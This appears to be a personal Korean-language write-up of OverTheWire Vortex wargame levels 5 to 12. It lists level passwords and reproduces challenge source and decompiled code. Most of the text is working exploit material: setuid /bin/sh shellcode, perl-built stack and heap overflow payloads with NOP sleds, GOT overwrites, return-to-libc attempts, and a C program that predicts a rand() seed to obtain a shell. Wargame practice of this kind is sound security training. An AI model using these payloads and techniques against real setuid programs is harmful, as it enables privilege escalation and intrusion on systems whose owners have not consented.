74 /* This is the central step in the MD5 algorithm. */

75 #define MD5STEP(f, w, x, y, z, data, s) \

76         ( w += f(x, y, z) + data,  w = w<<s | w>>(32-s),  w += x )

77

78 /*

79  * The core of the MD5 algorithm, this alters an existing MD5 hash to

80  * reflect the addition of 16 longwords of new data.  MD5Update blocks

81  * the data and converts bytes into longwords for this routine.

82  */

83 static void MD5Transform(uint32 buf[4], const uint32 in[16]){

84         register uint32 a, b, c, d;

85

86         a = buf[0];

87         b = buf[1];

88         c = buf[2];

89         d = buf[3];

90

91         MD5STEP(F1, a, b, c, d, in[ 0]+0xd76aa478,  7);

92         MD5STEP(F1, d, a, b, c, in[ 1]+0xe8c7b756, 12);

93         MD5STEP(F1, c, d, a, b, in[ 2]+0x242070db, 17);

94         MD5STEP(F1, b, c, d, a, in[ 3]+0xc1bdceee, 22);

95         MD5STEP(F1, a, b, c, d, in[ 4]+0xf57c0faf,  7);

96         MD5STEP(F1, d, a, b, c, in[ 5]+0x4787c62a, 12);

97         MD5STEP(F1, c, d, a, b, in[ 6]+0xa8304613, 17);

98         MD5STEP(F1, b, c, d, a, in[ 7]+0xfd469501, 22);

99         MD5STEP(F1, a, b, c, d, in[ 8]+0x698098d8,  7);

100         MD5STEP(F1, d, a, b, c, in[ 9]+0x8b44f7af, 12);

101         MD5STEP(F1, c, d, a, b, in[10]+0xffff5bb1, 17);

102         MD5STEP(F1, b, c, d, a, in[11]+0x895cd7be, 22);

103         MD5STEP(F1, a, b, c, d, in[12]+0x6b901122,  7);

104         MD5STEP(F1, d, a, b, c, in[13]+0xfd987193, 12);

105         MD5STEP(F1, c, d, a, b, in[14]+0xa679438e, 17);

106         MD5STEP(F1, b, c, d, a, in[15]+0x49b40821, 22);

107

108         MD5STEP(F2, a, b, c, d, in[ 1]+0xf61e2562,  5);

109         MD5STEP(F2, d, a, b, c, in[ 6]+0xc040b340,  9);

110         MD5STEP(F2, c, d, a, b, in[11]+0x265e5a51, 14);

111         MD5STEP(F2, b, c, d, a, in[ 0]+0xe9b6c7aa, 20);

112         MD5STEP(F2, a, b, c, d, in[ 5]+0xd62f105d,  5);

113         MD5STEP(F2, d, a, b, c, in[10]+0x02441453,  9);

114         MD5STEP(F2, c, d, a, b, in[15]+0xd8a1e681, 14);

115         MD5STEP(F2, b, c, d, a, in[ 4]+0xe7d3fbc8, 20);

116         MD5STEP(F2, a, b, c, d, in[ 9]+0x21e1cde6,  5);

117         MD5STEP(F2, d, a, b, c, in[14]+0xc33707d6,  9);

118         MD5STEP(F2, c, d, a, b, in[ 3]+0xf4d50d87, 14);

119         MD5STEP(F2, b, c, d, a, in[ 8]+0x455a14ed, 20);

120         MD5STEP(F2, a, b, c, d, in[13]+0xa9e3e905,  5);

121         MD5STEP(F2, d, a, b, c, in[ 2]+0xfcefa3f8,  9);

122         MD5STEP(F2, c, d, a, b, in[ 7]+0x676f02d9, 14);

123         MD5STEP(F2, b, c, d, a, in[12]+0x8d2a4c8a, 20);

124

125         MD5STEP(F3, a, b, c, d, in[ 5]+0xfffa3942,  4);

126         MD5STEP(F3, d, a, b, c, in[ 8]+0x8771f681, 11);

127         MD5STEP(F3, c, d, a, b, in[11]+0x6d9d6122, 16);

128         MD5STEP(F3, b, c, d, a, in[14]+0xfde5380c, 23);

129         MD5STEP(F3, a, b, c, d, in[ 1]+0xa4beea44,  4);

130         MD5STEP(F3, d, a, b, c, in[ 4]+0x4bdecfa9, 11);

131         MD5STEP(F3, c, d, a, b, in[ 7]+0xf6bb4b60, 16);

132         MD5STEP(F3, b, c, d, a, in[10]+0xbebfbc70, 23);

133         MD5STEP(F3, a, b, c, d, in[13]+0x289b7ec6,  4);

134         MD5STEP(F3, d, a, b, c, in[ 0]+0xeaa127fa, 11);

135         MD5STEP(F3, c, d, a, b, in[ 3]+0xd4ef3085, 16);

136         MD5STEP(F3, b, c, d, a, in[ 6]+0x04881d05, 23);

137         MD5STEP(F3, a, b, c, d, in[ 9]+0xd9d4d039,  4);

138         MD5STEP(F3, d, a, b, c, in[12]+0xe6db99e5, 11);

139         MD5STEP(F3, c, d, a, b, in[15]+0x1fa27cf8, 16);

140         MD5STEP(F3, b, c, d, a, in[ 2]+0xc4ac5665, 23);

141

142         MD5STEP(F4, a, b, c, d, in[ 0]+0xf4292244,  6);

143         MD5STEP(F4, d, a, b, c, in[ 7]+0x432aff97, 10);

144         MD5STEP(F4, c, d, a, b, in[14]+0xab9423a7, 15);

145         MD5STEP(F4, b, c, d, a, in[ 5]+0xfc93a039, 21);

146         MD5STEP(F4, a, b, c, d, in[12]+0x655b59c3,  6);

147         MD5STEP(F4, d, a, b, c, in[ 3]+0x8f0ccc92, 10);

148         MD5STEP(F4, c, d, a, b, in[10]+0xffeff47d, 15);

149         MD5STEP(F4, b, c, d, a, in[ 1]+0x85845dd1, 21);

150         MD5STEP(F4, a, b, c, d, in[ 8]+0x6fa87e4f,  6);

151         MD5STEP(F4, d, a, b, c, in[15]+0xfe2ce6e0, 10);

152         MD5STEP(F4, c, d, a, b, in[ 6]+0xa3014314, 15);

153         MD5STEP(F4, b, c, d, a, in[13]+0x4e0811a1, 21);

154         MD5STEP(F4, a, b, c, d, in[ 4]+0xf7537e82,  6);

155         MD5STEP(F4, d, a, b, c, in[11]+0xbd3af235, 10);

156         MD5STEP(F4, c, d, a, b, in[ 2]+0x2ad7d2bb, 15);

157         MD5STEP(F4, b, c, d, a, in[ 9]+0xeb86d391, 21);

158

159         buf[0] += a;

160         buf[1] += b;

161         buf[2] += c;

162         buf[3] += d;

163 }

164

165 /*

166  * Start MD5 accumulation.  Set bit count to 0 and buffer to mysterious

167  * initialization constants.

168  */

169 static void MD5Init(MD5Context *pCtx){

170         struct Context *ctx = (struct Context *)pCtx;

171         ctx->buf[0] = 0x67452301;

172         ctx->buf[1] = 0xefcdab89;

173         ctx->buf[2] = 0x98badcfe;

174         ctx->buf[3] = 0x10325476;

175         ctx->bits[0] = 0;

176         ctx->bits[1] = 0;

177 }

178

179 /*

180  * Update context to reflect the concatenation of another buffer full

181  * of bytes.

182  */

183 static

184 void MD5Update(MD5Context *pCtx, const unsigned char *buf, unsigned int len){

185         struct Context *ctx = (struct Context *)pCtx;

186         uint32 t;

187

188         /* Update bitcount */

189

190         t = ctx->bits[0];

191         if ((ctx->bits[0] = t + ((uint32)len << 3)) < t)

192                 ctx->bits[1]++; /* Carry from low to high */

193         ctx->bits[1] += len >> 29;

194

195         t = (t >> 3) & 0x3f;    /* Bytes already in shsInfo->data */

196

197         /* Handle any leading odd-sized chunks */

198

199         if ( t ) {

200                 unsigned char *p = (unsigned char *)ctx->in + t;

201

202                 t = 64-t;

203                 if (len < t) {

204                         memcpy(p, buf, len);

205                         return;

206                 }

207                 memcpy(p, buf, t);

208                 byteReverse(ctx->in, 16);

209                 MD5Transform(ctx->buf, (uint32 *)ctx->in);

210                 buf += t;

211                 len -= t;

212         }

213

214         /* Process data in 64-byte chunks */

215

216         while (len >= 64) {

217                 memcpy(ctx->in, buf, 64);

218                 byteReverse(ctx->in, 16);

219                 MD5Transform(ctx->buf, (uint32 *)ctx->in);

220                 buf += 64;

221                 len -= 64;

222         }

223

224         /* Handle any remaining bytes of data. */

225

226         memcpy(ctx->in, buf, len);

227 }

228

229 /*

230  * Final wrapup - pad to 64-byte boundary with the bit pattern

231  * 1 0* (64-bit count of bits processed, MSB-first)

232  */

233 static void MD5Final(unsigned char digest[16], MD5Context *pCtx){

234         struct Context *ctx = (struct Context *)pCtx;

235         unsigned count;

236         unsigned char *p;

237

238         /* Compute number of bytes mod 64 */

239         count = (ctx->bits[0] >> 3) & 0x3F;

240

241         /* Set the first char of padding to 0x80.  This is safe since there is

242            always at least one byte free */

243         p = ctx->in + count;

244         *p++ = 0x80;

245

246         /* Bytes of padding needed to make 64 bytes */

247         count = 64 - 1 - count;

248

249         /* Pad out to 56 mod 64 */

250         if (count < 8) {

251                 /* Two lots of padding:  Pad the first block to 64 bytes */

252                 memset(p, 0, count);

253                 byteReverse(ctx->in, 16);

254                 MD5Transform(ctx->buf, (uint32 *)ctx->in);

255

256                 /* Now fill the next block with 56 bytes */

257                 memset(ctx->in, 0, 56);

258         } else {

259                 /* Pad block to 56 bytes */

260                 memset(p, 0, count-8);

261         }

262         byteReverse(ctx->in, 14);

263

264         /* Append length in bits and transform */

265         ((uint32 *)ctx->in)[ 14 ] = ctx->bits[0];

266         ((uint32 *)ctx->in)[ 15 ] = ctx->bits[1];

267

268         MD5Transform(ctx->buf, (uint32 *)ctx->in);

269         byteReverse((unsigned char *)ctx->buf, 4);

270         memcpy(digest, ctx->buf, 16);

271         memset(ctx, 0, sizeof(ctx));    /* In case it's sensitive */

272 }

273

274 /*

275 ** Convert a digest into base-16.  digest should be declared as

276 ** "unsigned char digest[16]" in the calling function.  The MD5

277 ** digest is stored in the first 16 bytes.  zBuf should

278 ** be "char zBuf[33]".

279 */

280 static void DigestToBase16(unsigned char *digest, char *zBuf){

281   static char const zEncode[] = "0123456789abcdef";

282   int i, j;

283

284   for(j=i=0; i<16; i++){

285     int a = digest[i];

286     zBuf[j++] = zEncode[(a>>4)&0xf];

287     zBuf[j++] = zEncode[a & 0xf];

288   }

289   zBuf[j] = 0;

290 }

291

292 int main(int argc, char **argv)

293 {

294         unsigned char buf[16];

295         MD5Context a;

296

297         char *x;

298         x = getpass("Password: ");

299         printf("%c:%02x\n", x[strlen(x)-1], x[strlen(x) -1]);

300         MD5Init(&a);

301         MD5Update(&a, x, strlen(x));

302         MD5Final(buf, &a);

303

304         if(memcmp(buf, "\x15\x5f\xb9\x5d\x04\x28\x7b\x75\x7c\x99\x6d\x77\xb5\xea\x51\xf7", 16) == 0){

305                 printf("You got the right password, congrats!\n");

306                 setresgid(getegid(), getegid(), getegid());

307                 setresuid(geteuid(), geteuid(), geteuid());

308                 system("/bin/sh");

309         } else {

310                 usleep(500);

311                 printf("Incorrect password\n");

312         }

313         exit(0);

314 }



online decoder 결과 : rlTf6



[+] Level 6

  - id : vortex6

  - Password: *uy5qDRb2



void __cdecl main(int a1, const char **a2, int a3)

{

  if ( *(_DWORD *)a3 )

    restart(*a2);

  printf(*(const char **)(a3 + 12));

  _exit(29477);

}

int __cdecl restart(const char *a1)

{

  return execlp(a1, a1, 0);

}



gcc loader.c -o loader -m32 -fno-stack-protector -Wl,-z,norelro

gcc text.c -o a.out -m32 -fno-stack-protector -Wl,-z,norelro



포멧스트링 문제일까? restart함수를 사용해서 명령어를 실행시키는게 문제일까?

둘다 될거같거같은데...


restart 함수를 사용.


int main(int argc, char *argv[])

{

        //char *envc[] = {NULL};

        char *envc[2] = {0,0};

        //char *envp[5] = {0,0,0, };

        char *envp[] = {"cc"};


        envc[0]="/tmp/hclee6/sh";

        envc[1]="aa";


        execve("/vortex/vortex6", envc, envp);

        return 0;

}


sh 실행 프로그램

#include <stdio.h>

#include <sys/mman.h>

#include <string.h>

#include <stdlib.h>



char shellcode[] =

"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";


int main()

{

   void *ptr = mmap(0, sizeof(shellcode),

            PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON

            | MAP_PRIVATE, -1, 0);


    if (ptr == MAP_FAILED) {

        perror("mmap");

        exit(-1);

    }


    memcpy(ptr, shellcode, sizeof(shellcode));

    printf("%p\n", ptr);

    printf("%p\n", shellcode);


    void (*pointer)(void);

    pointer = (void *)ptr;


    pointer();


    return 0;

}


[+] Level 7

  - id : vortex7

  - Password: Y52jxHtt/



int main(int argc, char **argv)

{

        char buf[58];

        u_int32_t hi;

        if((hi = crc32(0, argv[1], strlen(argv[1]))) == 0xe1ca95ee) {

                strcpy(buf, argv[1]);

        } else {

                printf("0x%08x\n", hi);

        }

}


shellcode : 61byte


80 = 60(58) + 4

/vortex/vortex7 `perl -e '{print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","AA","AAAA","AAAAA","\x2b\x69\x30\x14"}'`


/vortex/vortex7 `perl -e '{print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","AA","AAAA","AAAAAAA\xb1\xd8\xff\xff1EPyDy"}'`


==> Success

/vortex/vortex7 `perl -e '{print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\xb1\xd8\xff\xff0n1r9E"}'`


crc32 = b861bb0d : 3093412621


0xe1ca95ee = 3788150254


m 220 B 203


gcc crc.c -o a.out -m32 -fno-stack-protector -Wl,-z,norelro


ReverseCRC(http://www.vik.cc/daniel/ReverseCRC.zip)에서 INVERSE 기능을 끄고 해야한다;;



[+] Level 8

  - id : vortex8

  - Password: X70A_gcgl

X70A_gcgl


int __cdecl main(int a1, int a2)

{

  __gid_t v3; // esi@1

  __gid_t v4; // ebx@1

  __gid_t v5; // eax@1

  __uid_t v6; // esi@1

  __uid_t v7; // ebx@1

  __uid_t v8; // eax@1

  char v9; // [sp+1Ch] [bp-14h]@1


  pthread_create((pthread_t *)&v9, 0, (void *(*)(void *))safecode, 0);

  v3 = getgid();

  v4 = getgid();

  v5 = getgid();

  syscall(170, v5, v4, v3); // setresgid

  v6 = getuid();

  v7 = getuid();

  v8 = getuid();

  syscall(164, v8, v7, v6); // setresuid

  unsafecode(*(_DWORD *)(a2 + 4));

  return 0;

}


void __cdecl safecode()

{

  int v0; // [sp+1Ch] [bp-Ch]@1


  v0 = 0;

  while ( 1 )

  {

    printf((const char *)&unk_8048770, v0);

    fflush((FILE *)stdout);

    sleep(1u);

  }

}

char *__cdecl unsafecode(int a1)

{

  char v2; // [sp+10h] [bp-408h]@1


  return strcpy(&v2, (const char *)a1);

}



/vortex/vortex8 `perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x60\xd5\xff\xff"}'`


setresgid, setresuid 때문에 shell을 띄우더라도, vortex8의 권한을 가지게 된다.


vortex8@melissa:~$ objdump --dynamic-reloc  /vortex/vortex8


/vortex/vortex8:     file format elf32-i386


DYNAMIC RELOCATION RECORDS

OFFSET   TYPE              VALUE

08049ff0 R_386_GLOB_DAT    __gmon_start__

0804a040 R_386_COPY        stdout

0804a000 R_386_JUMP_SLOT   syscall

0804a004 R_386_JUMP_SLOT   __gmon_start__

0804a008 R_386_JUMP_SLOT   __libc_start_main

0804a00c R_386_JUMP_SLOT   fflush

0804a010 R_386_JUMP_SLOT   strcpy

0804a014 R_386_JUMP_SLOT   printf

0804a018 R_386_JUMP_SLOT   getuid

0804a01c R_386_JUMP_SLOT   pthread_create

0804a020 R_386_JUMP_SLOT   sleep

0804a024 R_386_JUMP_SLOT   getgid



sleep의 주소를 바꾸어버리면...될까?;.


/vortex/vortex8 `perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x60\xd5\xff\xff"}'`


==> Success!

/vortex/vortex8 "`perl -e '{print "\x90"x400,"\xbb\x20\xa0\x04\x08\xc7\x03\x50\xd7\xff\xff\xe8\x0f\xff\xff\xff","\x90"x559,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x60\xd5\xff\xff"}'`"



unsafecode에서

#include <stdio.h>


int main()

{

register int *a = 0x0804a020; // sleep dynamic relocation table

*a = 0x12345678;

sleep(2);


return 0;

}

를 disasm하여

80483c4:       55                      push   %ebp

80483c5:       89 e5                   mov    %esp,%ebp

80483c7:       83 e4 f0                and    $0xfffffff0,%esp

80483ca:       53                      push   %ebx

80483cb:       83 ec 1c                sub    $0x1c,%esp

80483ce:       bb 20 a0 04 08          mov    $0x804a020,%ebx

80483d3:       c7 03 78 56 34 12       movl   $0x12345678,(%ebx)

80483d9:       c7 04 24 02 00 00 00    movl   $0x2,(%esp)

80483e0:       e8 0f ff ff ff          call   80482f4 <sleep@plt>

80483e5:       b8 00 00 00 00          mov    $0x0,%eax

80483ea:       83 c4 1c                add    $0x1c,%esp

80483ed:       5b                      pop    %ebx

80483ee:       89 ec                   mov    %ebp,%esp

80483f0:       5d                      pop    %ebp


중.

  80483ce:       bb 20 a0 04 08          mov    $0x804a020,%ebx

80483d3:       c7 03 78 56 34 12       movl   $0x12345678,(%ebx)

80483d9:       c7 04 24 02 00 00 00    movl   $0x2,(%esp)

80483e0:       e8 0f ff ff ff          call   80482f4 <sleep@plt>


이 부분을 1차 쉘코드로 만들어 실행시킨다.

그럼, sleep의 gdt이 변경되고, thread에 의해 생성된 safecode에서 sleep의 주소가 진짜 쉘코드의 주소로 바뀌었으므로,

쉘이 나타난다.


[+] Level 9

  - id : vortex9

  - Password: ci41)GJhb


vortex9@melissa:/home$ find / -user vortex9 -exec ls {} -l \; 2>/dev/null           

crw--w---- 1 vortex9 tty 136, 14 2013-01-02 06:24 /dev/pts/14

-rw-r----- 1 vortex9 vortex9 10 2011-11-22 17:12 /var/mail/vortex9

-r-sr-x--- 1 vortex9 vortex8 7495 2011-11-22 16:08 /vortex/vortex8

-r-------- 1 vortex9 vortex9 10 2011-11-22 17:12 /etc/vortex_pass/vortex9



[+] Level 10

  - id : vortex10

  - Password: 5WT0}swdc


값을 알아내는 것은 쉬웠는데..pipe하는데서 삽질;


-- reverse code --

int __cdecl main()

{

  time_t v1; // eax@1

  __uid_t v2; // esi@8

  __uid_t v3; // ebx@8

  __uid_t v4; // eax@8

  int v5; // [sp+68h] [bp-28h]@1

  int v6; // [sp+64h] [bp-2Ch]@1

  int v7; // [sp+60h] [bp-30h]@1

  int v8; // [sp+6Ch] [bp-24h]@1

  signed int v9; // [sp+78h] [bp-18h]@1

  int v10; // [sp+74h] [bp-1Ch]@1

  signed int v11; // [sp+7Ch] [bp-14h]@1

  _DWORD v12[20]; // [sp+10h] [bp-80h]@5

  int v13; // [sp+70h] [bp-20h]@7


  v9 = v5 + v6 + v7 + v8 + times((struct tms *)&v7);

  v9 += clock();

  v9 += time(0);

  v9 = 128

     - ((unsigned __int8)((unsigned __int8)((unsigned int)(v9 >> 31) >> 24) + (_BYTE)v9)

      - ((unsigned int)(v9 >> 31) >> 24));

  v1 = time(0);

  v10 = v9 + v1;

  srand(v9 + v1);

  setvbuf((FILE *)stdout, 0, 2, 0);

  v11 = 0;

  while ( v11 < v9 )

  {

    rand();

    ++v11;

  }

  putchar('[');

  v11 = 0;

  while ( v11 <= 19 )

  {

    v12[v11] = rand();

    printf(" %08x,", v12[v11++]);

  }

  puts("]");

  alarm(30u);

  read(0, &v13, 4u);

  if ( v13 == v10 )

  {

    v2 = geteuid();

    v3 = geteuid();

    v4 = geteuid();

    setresuid(v4, v3, v2);

    execlp("/bin/sh", "sh", "-i", 0);

  }

  else

  {

    puts("Nope, try again");

  }

  return 0;

}




-- expliot code

#include <stdio.h>

#include <stdlib.h>

#include <time.h>


int main()

{

        unsigned int r[20] = {0, };

        int i = 0;

        time_t v1;

        int j;

        char buf[1024] = {0,};

        FILE *fp;

int fd[2];

pipe(fd);


#if 0

        int fd1 = open("tmp","rw");

        int fd2 = open("tmp2","rw");

#endif

        pid_t pid = fork();

        if (pid == 0){

                //child

                dup2(fd[0], 0);

                execl("/vortex/vortex10",0);

                printf("asdfsadfasdfsad\n");

        }

#if 0

                dup2(fd[1], 1);

                close(fd[0]);

                close(fd[1]);

#endif


#if 0

        fp = popen("/vortex/vortex10", "w");

        if (fp==NULL) {

                printf("open error\n");

        }

#endif

        fread(buf, 202, 1, stdin);

        //read(fd[1], buf, 202);

        printf("buf : %s\n", buf);

        sscanf(buf,"[ %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, ]",

                &r[0], &r[1], &r[2], &r[3], &r[4], &r[5], &r[6], &r[7], &r[8], &r[9], &r[10],

                &r[11], &r[12], &r[13], &r[14], &r[15], &r[16], &r[17], &r[18], &r[19]);


        for (i = 0 ; i < 20; i++) {

                printf("R : %x\n", r[i]);

        }


        v1 = time(0);


        for ( i = -128; i < 128 ; i++ ) {

                j = 0;

                srand(v1+i);

                printf("%d i = %d\n", v1+i, i);

                while( j < i) {

                        rand();

                        j++;

                }

                j = 0;

                for ( j = 0; j < 20; j++) {

                        if ( rand() == r[j] )

                                continue;

                        else break;

                }

                if (j == 20) {

                        j = v1+i;

                        printf("SUCCESS : %08x\n",j);

                        //fwrite(&j, 4, 1, stdout);

                        write(fd[1], &j, 4);

                        //write(fd[1], &i, 4);

                        printf("SSSS\n");fflush(stdout);

#if 1

                        while(1){

                                memset(buf, 0, sizeof(buf));

                                gets(buf);

                                buf[strlen(buf)]='\n';

                                buf[strlen(buf)]='\n';

                                write(fd[1], buf, strlen(buf)+1);

                                printf("write : %s\n", buf);

                        }

#endif

                        break;

                }

        }


        return 0;

}



[+] Level 11

  - id : vortex11

  - Password: %8sLEszy9




(gdb) r `perl -e '{print "A"x2048,"B"x4,"\x08\xc0\x04\x08"}'` CCCC

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /vortex/vortex11 `perl -e '{print "A"x2048,"B"x4,"\x08\xc0\x04\x08"}'` CCCC


Breakpoint 1, 0x08049e3e in main ()

(gdb) c

Continuing.


Program received signal SIGSEGV, Segmentation fault.

0x43434343 in ?? ()

(gdb) bt

#0  0x43434343 in ?? ()

#1  0x08049e4f in main ()



/vortex/vortex11 `perl -e '{print "\x90"x1800,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","A"x187,"B"x4,"\x08\xc0\x04\x08"}'` `perl -e '{print "\x30\xd2\xff\xff"}'`


heap overflow인데..Global Offset Table의 주소를 바꿔서 공격하는 기법이다.

문서(BSD Heap Smashing)보고 대충 해서 하긴 했는데.

정확하게 EIP가 어떻게 바뀌는건지는 잘 모르겠다;;



vortex11@melissa:~$ objdump --dynamic-reloc /vortex/vortex11


/vortex/vortex11:     file format elf32-i386


DYNAMIC RELOCATION RECORDS

OFFSET   TYPE              VALUE

0804bff0 R_386_GLOB_DAT    __gmon_start__

0804c000 R_386_JUMP_SLOT   abort

0804c004 R_386_JUMP_SLOT   __errno_location

0804c008 R_386_JUMP_SLOT   brk

0804c00c R_386_JUMP_SLOT   mmap

0804c010 R_386_JUMP_SLOT   __gmon_start__

0804c014 R_386_JUMP_SLOT   getenv

0804c018 R_386_JUMP_SLOT   strncpy

0804c01c R_386_JUMP_SLOT   write

0804c020 R_386_JUMP_SLOT   memset

0804c024 R_386_JUMP_SLOT   __libc_start_main

0804c028 R_386_JUMP_SLOT   sbrk

0804c02c R_386_JUMP_SLOT   memcpy

0804c030 R_386_JUMP_SLOT   strlen

0804c034 R_386_JUMP_SLOT   strcpy

0804c038 R_386_JUMP_SLOT   getuid

0804c03c R_386_JUMP_SLOT   __stack_chk_fail

0804c040 R_386_JUMP_SLOT   readlink

0804c044 R_386_JUMP_SLOT   munmap

0804c048 R_386_JUMP_SLOT   exit

0804c04c R_386_JUMP_SLOT   getgid




[+] Level 12

  - id : vortex12

  - Password: nKV95q]dx


힌트가 no executable stack이라는 얘기 뿐이다.

main함수를 disassem 해보니 Level 8와 유사하다.


흠........-_-;



Return-to-libc 기법을 이용하여 exploit해야하는 것 같다.

그런데 이것만으로는 Level8에서 했던 방법으론 힘들것 같다..



0xf7ef95d0 <execl> 의 주소.


/vortex/vortex12 "`perl -e '{print "\x90"x400,"\xbb\x20\xa0\x04\x08\xc7\x03\x50\xd7\xff\xff\xe8\x0f\xff\xff\xff","\x90"x559,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x60\xd5\xff\xff"}'`"


/vortex/vortex12 "`perl -e '{print "A"x1032,"\xc0\xca\xfc\xf7","\x20\x9a\xe8\xf7","\xfc\xd8\xff\xff"}'`"

/vortex/vortex12 "`perl -e '{print "A"x1032,"\x00"}'`"


==> system으로 bash를 띄우는 방법.

/vortex/vortex12 "`perl -e '{print "A"x1036,"\xc0\xca\xfc\xf7","\x20\x9a\xe8\xf7","\x1e\xd9\xff\xff"}'`"


/vortex/vortex12 "`perl -e '{print "A"x1036,"\xd0\x95\xef\xf7","\x20\x9a\xe8\xf7","\x10\xd9\xff\xff"}'`"


/vortex/vortex12 "`perl -e '{print "A"x1036,"\xd0\x95\xef\xf7","\x20\xd9\xff\xff","\x1e\xd9\xff\xff"}'`"


/vortex/vortex12 "`perl -e '{print "A"x1036,"\xd0\x95\xef\xf7","\x20\xd9\xff\xff","\x0d\xd9\xff\xff"x2,"\x1d\xdf\xff\xff"}'`"


/vortex/vortex12 "`perl -e '{print "A"x1036,"\xd0\x95\xef\xf7","\x20\xd9\xff\xff","\x0a\xd9\xff\xff"x2,"\x1d\xdf\xff\xff"}'`"


/vortex/vortex12 "`perl -e '{print "A"x1032,"\x08\xd9\xff\xff","\xd0\x95\xef\xf7","\x0b\xd9\xff\xff","\x10\xd9\xff\xff"x2}'`"


"`perl -e '{print "A"x1032,"\xfb\xd8\xff\xff","\xd0\x95\xef\xf7","\x10\xd9\xff\xff","\x03\xd9\xff\xff"x2}'`"

"`perl -e '{print "A"x1032,"\xfb\xd8\xff\xff","\xda\x95\xef\xf7","\x10\xd9\xff\xff","\x03\xd9\xff\xff"x2}'`"


=> 0xf7ef95d0 <+0>:     push   %ebp

   0xf7ef95d1 <+1>:     push   %edi

   0xf7ef95d2 <+2>:     push   %esi

   0xf7ef95d3 <+3>:     push   %ebx

   0xf7ef95d4 <+4>:     sub    $0x1018,%esp

   0xf7ef95da <+10>:    mov    0x1030(%esp),%edx

   0xf7ef95e1 <+17>:    lea    0x1034(%esp),%eax

   0xf7ef95e8 <+24>:    call   0xf7e70c6f

   0xf7ef95ed <+29>:    add    $0xc0a07,%ebx

   0xf7ef95f3 <+35>:    test   %edx,%edx

   0xf7ef95f5 <+37>:    mov    %edx,0x18(%esp)

   0xf7ef95f9 <+41>:    je     0xf7ef9702 <execl+306>

   0xf7ef95ff <+47>:    lea    0x4(%eax),%ebp

   0xf7ef9602 <+50>:    mov    (%eax),%eax

   0xf7ef9604 <+52>:    mov    $0x1,%esi

   0xf7ef9609 <+57>:    lea    0x18(%esp),%edx

   0xf7ef960d <+61>:    mov    %edx,%edi

   0xf7ef960f <+63>:    mov    %edx,0x10(%esp)

   0xf7ef9613 <+67>:    mov    $0x400,%edx

   0xf7ef9618 <+72>:    test   %eax,%eax

   0xf7ef961a <+74>:    mov    %eax,(%edi,%esi,4)

   0xf7ef961d <+77>:    je     0xf7ef9635 <execl+101>

   0xf7ef961f <+79>:    nop

   0xf7ef9620 <+80>:    add    $0x1,%esi

   0xf7ef9623 <+83>:    cmp    %esi,%edx

   0xf7ef9625 <+85>:    je     0xf7ef9678 <execl+168>

   0xf7ef9627 <+87>:    mov    %ebp,%eax

   0xf7ef9629 <+89>:    lea    0x4(%eax),%ebp

   0xf7ef962c <+92>:    mov    (%eax),%eax

